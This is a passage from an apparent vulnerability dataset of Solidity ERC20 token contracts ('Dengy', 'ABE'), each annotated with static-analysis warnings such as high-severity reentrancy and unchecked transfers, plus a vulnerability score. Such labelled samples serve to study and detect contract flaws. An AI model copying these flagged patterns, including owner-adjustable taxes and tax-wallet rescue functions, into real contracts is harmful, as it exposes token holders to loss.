_setBots(address account, bool value) internal virtual {\n isBot[account] = value;\n\n emit SetBots(account, value);\n }\n\n function _setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) internal virtual {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n}\n",
"file_name": "solidity_code_10254.sol",
"size_bytes": 27339,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Dengy is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ca6f1a2): Dengy._taxWallet should be immutable \n\t// Recommendation for ca6f1a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67f1b67): Dengy._finalBuyTax should be constant \n\t// Recommendation for 67f1b67: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2fab98): Dengy._finalSellTax should be constant \n\t// Recommendation for d2fab98: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dengy\";\n\n string private constant _symbol = unicode\"DENGY\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7f23d6): Dengy._taxSwapThreshold should be constant \n\t// Recommendation for e7f23d6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8998f0): Dengy._maxTaxSwap should be constant \n\t// Recommendation for e8998f0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6747c63): Dengy.caBlockLimit should be constant \n\t// Recommendation for 6747c63: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99c8213): Dengy.caLimit should be constant \n\t// Recommendation for 99c8213: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bead10a): Dengy.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bead10a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 67725e8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 67725e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53a36a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53a36a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 67725e8\n\t\t// reentrancy-benign | ID: 53a36a8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 67725e8\n\t\t// reentrancy-benign | ID: 53a36a8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 801010e): Dengy._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 801010e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 53a36a8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 67725e8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a436ec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a436ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 343cf83): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 343cf83: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef9d411): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef9d411: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 6a436ec\n\t\t\t\t// reentrancy-eth | ID: 343cf83\n\t\t\t\t// reentrancy-eth | ID: ef9d411\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6a436ec\n\t\t\t\t\t// reentrancy-eth | ID: 343cf83\n\t\t\t\t\t// reentrancy-eth | ID: ef9d411\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ef9d411\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ef9d411\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6a436ec\n\t\t\t\t// reentrancy-eth | ID: 343cf83\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6a436ec\n\t\t\t\t\t// reentrancy-eth | ID: 343cf83\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 343cf83\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6a436ec\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 343cf83\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 343cf83\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6a436ec\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 67725e8\n\t\t// reentrancy-events | ID: 6a436ec\n\t\t// reentrancy-benign | ID: 53a36a8\n\t\t// reentrancy-eth | ID: 343cf83\n\t\t// reentrancy-eth | ID: ef9d411\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a09de71): Missing events for critical arithmetic parameters.\n\t// Recommendation for a09de71: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: a09de71\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: a09de71\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: a09de71\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: a09de71\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: a09de71\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 09f236a): Dengy.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 09f236a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 09f236a\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 67725e8\n\t\t// reentrancy-events | ID: 6a436ec\n\t\t// reentrancy-eth | ID: 343cf83\n\t\t// reentrancy-eth | ID: ef9d411\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6c7a7a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6c7a7a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 476d857): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 476d857: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a53d411): Dengy.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a53d411: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f26dc2f): Dengy.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f26dc2f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8e13e45): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8e13e45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6c7a7a8\n\t\t// reentrancy-benign | ID: 476d857\n\t\t// reentrancy-eth | ID: 8e13e45\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6c7a7a8\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 6c7a7a8\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 476d857\n\t\t// unused-return | ID: f26dc2f\n\t\t// reentrancy-eth | ID: 8e13e45\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 476d857\n\t\t// unused-return | ID: a53d411\n\t\t// reentrancy-eth | ID: 8e13e45\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 476d857\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8e13e45\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 476d857\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10255.sol",
"size_bytes": 22099,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract ABE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Abe\";\n\n string private constant _symbol = \"ABE\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 350000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 25;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 25;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c4cb2a): ABE._developmentAddress should be constant \n\t// Recommendation for 7c4cb2a: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x93497ab51817878F73639A216e5f0459Adf9599f);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1353074): ABE._marketingAddress should be constant \n\t// Recommendation for 1353074: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xCE396A223871e15F03397A07467F3743791e554D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6d2115a): ABE.uniswapV2Router should be immutable \n\t// Recommendation for 6d2115a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d5e646a): ABE.uniswapV2Pair should be immutable \n\t// Recommendation for d5e646a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 7000000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 7000000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 3500000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 63d0499): ABE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 63d0499: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f19ddb3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f19ddb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ab8ba7b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ab8ba7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f19ddb3\n\t\t// reentrancy-benign | ID: ab8ba7b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f19ddb3\n\t\t// reentrancy-benign | ID: ab8ba7b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 9ffde78\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 9ffde78\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 9ffde78\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 9ffde78\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 9ffde78\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 9ffde78\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 724ae95): ABE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 724ae95: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ab8ba7b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f19ddb3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 176b1b1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 176b1b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9ffde78): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9ffde78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f2e70f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f2e70f8: Apply the check-effects-interactions pattern 